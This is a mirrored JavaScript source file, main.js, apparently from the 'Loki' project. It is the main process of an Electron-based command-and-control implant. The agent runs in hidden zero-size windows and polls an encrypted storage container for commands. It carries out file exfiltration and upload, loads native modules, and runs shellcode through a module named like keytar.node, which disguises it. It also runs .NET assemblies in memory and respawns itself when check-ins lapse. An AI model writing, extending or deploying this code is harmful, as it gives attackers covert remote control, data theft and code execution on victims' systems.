mirror of
https://github.com/boku7/Loki
synced 2026-06-06 15:24:27 +00:00
369 lines
12 KiB
JavaScript
369 lines
12 KiB
JavaScript
const { app, BrowserWindow, ipcMain } = require('electron');
|
|
const {Agent} = require('./agent.js');
|
|
const {func_Encrypt,func_Decrypt,func_Base64_Encode,func_Base64_Decode} = require('./crypt.js');
|
|
const {func_Command_Handler} = require('./handler.js');
|
|
const {func_Split_Quoted_String,numcheck,getrand} = require('./common.js');
|
|
const config = require('./config.js');
|
|
const metaContainer = config.metaContainer;
|
|
let fileop_timer = 0;
|
|
let agent;
|
|
let isContainersInit = false;
|
|
let agentwindow;
|
|
let execwindow;
|
|
let initbrowserwindow = false;
|
|
let fileop = false;
|
|
let scexec_op = false;
|
|
let dbg = true;
|
|
let exitall = false;
|
|
let launch = false;
|
|
let handover = false;
|
|
global.scexecNodePath = "./keytar.node";
|
|
global.assemblyNodePath = "./assembly.node";
|
|
|
|
function func_log(text)
|
|
{
|
|
const { log } = require('console');
|
|
if(dbg)
|
|
{
|
|
log(text);
|
|
}
|
|
}
|
|
|
|
async function func_Window_Create() {
|
|
initbrowserwindow = false;
|
|
agentwindow = new BrowserWindow({
|
|
width: 0,
|
|
height: 0,
|
|
show: false,
|
|
skipTaskbar: true,
|
|
webPreferences: {
|
|
nodeIntegration: true,
|
|
contextIsolation: false,
|
|
backgroundThrottling: false,
|
|
v8CacheOptions: 'none'
|
|
}
|
|
});
|
|
initbrowserwindow = true;
|
|
agentwindow.loadFile('browser.html');
|
|
}
|
|
|
|
app.on('window-all-closed', () => {
|
|
if (process.platform !== 'darwin') {
|
|
}
|
|
});
|
|
|
|
async function func_Window_Exec() {
|
|
execwindow = new BrowserWindow({
|
|
width: 0,
|
|
height: 0,
|
|
show: false,
|
|
skipTaskbar: true,
|
|
webPreferences: {
|
|
nodeIntegration: true,
|
|
contextIsolation: false,
|
|
backgroundThrottling: false,
|
|
v8CacheOptions: 'none'
|
|
}
|
|
});
|
|
execwindow.loadFile('assembly.html');
|
|
}
|
|
app.on('window-all-closed', () => {
|
|
if (process.platform !== 'darwin') {
|
|
}
|
|
});
|
|
|
|
|
|
async function func_Container_Init()
|
|
{
|
|
if(isContainersInit == false)
|
|
{
|
|
//func_log(`sending IPC create-container ${agent.container.name}`);
|
|
await agentwindow.webContents.send('init-container', agent.container.name, JSON.stringify(agent.container.blobs), agent.container.key['key'].toString('hex'),agent.container.key['iv'].toString('hex'));
|
|
await agentwindow.webContents.send('init-mapping-container', metaContainer, agent.agentid,agent.container.name);
|
|
if (launch == false)
|
|
{
|
|
launch = true;
|
|
//let nodepath = './git.node';
|
|
//let delay = 20000; // 20s
|
|
//agentwindow.webContents.send('do-launch',nodepath,delay);
|
|
}
|
|
}
|
|
}
|
|
|
|
let globalPaths = {
|
|
scExecNodePath: "./keytar.node",
|
|
assemblyNodePath: "./assembly.node"
|
|
};
|
|
|
|
// Handle requests from renderer to get a global value
|
|
ipcMain.handle('get-global-path', (event, key) => {
|
|
globalPaths['scexecNodePath'] = global.scexecNodePath;
|
|
globalPaths['assemblyNodePath'] = global.assemblyNodePath;
|
|
return globalPaths[key] || null; // Return the requested value
|
|
});
|
|
|
|
// Allow renderer to update a global value
|
|
ipcMain.on('set-global-path', (event, key, value) => {
|
|
globalPaths[key] = value;
|
|
if ( key === 'scexecNodePath' )
|
|
{
|
|
global.scexecNodePath = globalPaths[key];
|
|
}else if ( key === 'assemblyNodePath' )
|
|
{
|
|
global.assemblyNodePath = globalPaths[key];
|
|
}
|
|
});
|
|
|
|
async function func_Input_Read()
|
|
{
|
|
try
|
|
{
|
|
func_log(`func_Input_Read() fileop = ${fileop}`);
|
|
fileop_timer += agent.sleepinterval*1000;
|
|
if (fileop_timer > 180) // after 3 min we wipe the file op timer and resume functionality
|
|
{
|
|
fileop = false;
|
|
}
|
|
if (isContainersInit == true && initbrowserwindow == true && fileop == false)
|
|
{
|
|
if (agentwindow && agentwindow.webContents && !agentwindow.webContents.isDestroyed())
|
|
{
|
|
await agentwindow.webContents.send('input-read',agent.container.name, agent.container.blobs['in']);
|
|
fileop_timer = 0;
|
|
}else {
|
|
func_log('Render frame was disposed before WebFrameMain could be accessed');
|
|
}
|
|
}
|
|
}catch(error)
|
|
{
|
|
func_log(`Error in func_Input_Read() main.js ${error} ${error.stack}`);
|
|
}
|
|
}
|
|
|
|
function func_Window_Stat()
|
|
{
|
|
try
|
|
{
|
|
if (isContainersInit == true && fileop == false && exitall == false)
|
|
{
|
|
if(agent.window.checkin && agent.checkin)
|
|
{
|
|
let elapsed_window_checkin = (Date.now() - agent.window.checkin)/1000;
|
|
let elapsed_agent_checkin = (Date.now() - agent.checkin)/1000;
|
|
if (elapsed_window_checkin > 40 || (elapsed_agent_checkin > agent.sleepinterval * 5 || scexec_op == true) ) // modify to change spawn if no checkin time
|
|
{
|
|
func_log(`Creating new window with window ID ${agentwindow.id+1}`);
|
|
let old_window = agentwindow;
|
|
agent.window.checkin = Date.now();
|
|
agent.checkin = Date.now();
|
|
func_Window_Create();
|
|
try
|
|
{
|
|
if(scexec_op == false)
|
|
{
|
|
old_window.close();
|
|
}else
|
|
{
|
|
scexec_op = false;
|
|
}
|
|
}catch(err){}
|
|
}
|
|
}
|
|
}
|
|
}catch(error)
|
|
{
|
|
func_log(error);
|
|
}
|
|
}
|
|
|
|
app.on('ready', async () => {
|
|
const initWindowStatus = 'ready';
|
|
agent = new Agent();
|
|
await func_Window_Create();
|
|
setInterval(func_Window_Stat, 5000);
|
|
while(true)
|
|
{
|
|
if(!isContainersInit)
|
|
{
|
|
await new Promise(resolve => setTimeout(resolve, 3000));
|
|
await func_Container_Init();
|
|
}
|
|
await func_Input_Read();
|
|
func_log(`Agent.thissleep = ${agent.thissleep}`);
|
|
if(900*1000 > agent.thissleep && agent.thissleep > 1*888)
|
|
{
|
|
func_log(`Sleeping for ${agent.thissleep}`);
|
|
await new Promise(resolve => setTimeout(resolve, agent.thissleep));
|
|
}else
|
|
{
|
|
await new Promise(resolve => setTimeout(resolve, 10000));
|
|
}
|
|
}
|
|
});
|
|
|
|
ipcMain.on('checkin', async (event,checkin) => {
|
|
//func_log(`Browser window checked in with main at ${checkin}`);
|
|
agent.window.checkin = checkin;
|
|
});
|
|
|
|
ipcMain.on('poll-complete', (event,agentcheckin,inblob) => {
|
|
// func_log(`Browser window updated input blob ${inblob} with timestamp ${agentcheckin}`);
|
|
agent.checkin = agentcheckin;
|
|
});
|
|
|
|
|
|
ipcMain.on('do-command', async (event,command) => {
|
|
try
|
|
{
|
|
let command_output = "";
|
|
let execwin = false;
|
|
handover = false;
|
|
// Decode and decrypt the command received from the input channel blob
|
|
command = await func_Base64_Decode(command);
|
|
command = await func_Decrypt(command, agent.container.key['key'], agent.container.key['iv']);
|
|
func_log(`Decrypted command : ${command}`);
|
|
// Parse the command arguments into array argv[]
|
|
const argv = await func_Split_Quoted_String(command);
|
|
let sendoutput = true;
|
|
//log(`[+] argv: ${argv}`);
|
|
if (argv[0] != "")
|
|
{
|
|
if (argv[0] === 'sleep')
|
|
{
|
|
func_log(`[-] do-command sleep | main.js | argv[1] : ${argv[1]} | argv[2] : ${argv[2]}`);
|
|
if(!agent.sleepinterval)
|
|
{
|
|
agent.sleepinterval = 5;
|
|
}
|
|
if(agent.sleepinterval)
|
|
{
|
|
agent.sleepinterval = await numcheck(Number(argv[1]), 5, 0, max = 900);
|
|
agent.sleepjitter = await numcheck(Number(argv[2]), 15, 0, max = 300);
|
|
command_output = `Sleeping for ${agent.sleepinterval}s with ${agent.sleepjitter}% jitter.`;
|
|
agent.thissleep = await getrand(agent.sleepinterval*1000,agent.sleepjitter);
|
|
}else
|
|
{
|
|
command_output = `[!] Error : agent.sleepinterval doesn't exist.`;
|
|
}
|
|
}
|
|
else if (argv[0] === 'exit-window')
|
|
{
|
|
agentwindow.close();
|
|
}
|
|
else if (argv[0] === 'exit-all')
|
|
{
|
|
agentwindow.close();
|
|
exitall = true;
|
|
}
|
|
else if (argv[0] === 'download')
|
|
{
|
|
func_log(`[-] do-command download | main.js`);
|
|
let srcpath = argv[1];
|
|
let pushblob = argv[2];
|
|
func_log(`srcpath : ${srcpath} | pushblob : ${pushblob}`);
|
|
command_output = `agent response | Started job to push ${srcpath} file to ${agent.container.name}/${pushblob}`;
|
|
fileop = true;
|
|
agentwindow.webContents.send('do-push-file',agent.container.name, srcpath, pushblob,agent.container.key['key'].toString('hex'),agent.container.key['iv'].toString('hex'));
|
|
}
|
|
else if (argv[0] === 'upload')
|
|
{
|
|
func_log(`[-] do-command upload | main.js`);
|
|
let pullblob = argv[1];
|
|
let dstpath = argv[2];
|
|
func_log(`dstpath : ${dstpath} | pullblob : ${pullblob}`);
|
|
command_output = `agent response | Started job to pull file from ${agent.container.name}/${pullblob} to ${dstpath}`;
|
|
fileop = true;
|
|
agentwindow.webContents.send('do-pull-file',agent.container.name, pullblob,dstpath,agent.container.key['key'].toString('hex'),agent.container.key['iv'].toString('hex'));
|
|
}
|
|
else if (argv[0] === 'load' || argv[0] === 'scexec' || argv[0] === 'assembly')
|
|
{
|
|
|
|
sendoutput = false;
|
|
execwin = true;
|
|
await func_Window_Exec();
|
|
await new Promise(resolve => setTimeout(resolve, 5000));
|
|
if (argv[0] === 'load')
|
|
{
|
|
let nodepath = argv[1];
|
|
handover = true;
|
|
if(execwindow)
|
|
{
|
|
execwindow.webContents.send('nodeload',nodepath);
|
|
}
|
|
}
|
|
else if (argv[0] === 'scexec')
|
|
{
|
|
let encscblob = argv[1];
|
|
handover = true;
|
|
if(execwindow)
|
|
{
|
|
execwindow.webContents.send('scexec',agent.container.name, encscblob, agent.container.key['key'].toString('hex'),agent.container.key['iv'].toString('hex'));
|
|
}
|
|
}else if (argv[0] === 'assembly')
|
|
{
|
|
let encscblob = argv[1];
|
|
let args = command.slice(22);
|
|
handover = false;
|
|
if(execwindow)
|
|
{
|
|
execwindow.webContents.send('assembly',agent.container.name, args, encscblob, agent.container.key['key'].toString('hex'),agent.container.key['iv'].toString('hex'));
|
|
}
|
|
}
|
|
}
|
|
else
|
|
{
|
|
func_log(`[-] Hit do-command func_Command_Handler(${command}, ${JSON.stringify(argv)}) | main.js`);
|
|
command_output = await func_Command_Handler(command,argv);
|
|
}
|
|
}else // if there was no argv or impromper args then return failed message to client
|
|
{
|
|
command_output = `Failed to execute command : ${command}`;
|
|
}
|
|
if(sendoutput == true && execwin == false)
|
|
{
|
|
func_log(`Command output : ${command_output}`);
|
|
command_output = await func_Encrypt(command_output, agent.container.key['key'], agent.container.key['iv']);
|
|
command_output = await func_Base64_Encode(command_output);
|
|
agentwindow.webContents.send('send-output',agent.container.name, agent.container.blobs['out'],command_output);
|
|
}
|
|
}catch(error)
|
|
{
|
|
func_log(`${error} ${error.stack}`);
|
|
}
|
|
});
|
|
|
|
ipcMain.on('containers-created', async (event,status) => {
|
|
func_log(`IPC containers-created recieved from browser window with status ${status}`);
|
|
if (status == true)
|
|
{
|
|
isContainersInit = true;
|
|
agent.window.checkin = Date.now();
|
|
agent.checkin = Date.now();
|
|
}else
|
|
{
|
|
isContainersInit = false;
|
|
await new Promise(resolve => setTimeout(resolve, 5000));
|
|
await func_Container_Init();
|
|
}
|
|
});
|
|
|
|
ipcMain.on('end-file-op', async (event,ipcname,ipcoutput,key,iv) => {
|
|
try{
|
|
|
|
func_log(`Hit IPC main.js end-file-op from ${ipcname}`);
|
|
func_log(ipcoutput);
|
|
key = Buffer.from(key, 'hex');
|
|
iv = Buffer.from(iv, 'hex');
|
|
fileop = false;
|
|
// let command_output = await func_Encrypt(ipcoutput, key,iv);
|
|
// command_output = await func_Base64_Encode(command_output);
|
|
// agentwindow.webContents.send('send-output',agent.container.name, agent.container.blobs['out'],command_output);
|
|
if (handover === false)
|
|
{
|
|
//execwindow.close();
|
|
}
|
|
}catch(error)
|
|
{
|
|
func_log(`[!] Error in end-file-op IPC main.js ${error} ${error.stack}`);
|
|
}
|
|
}); |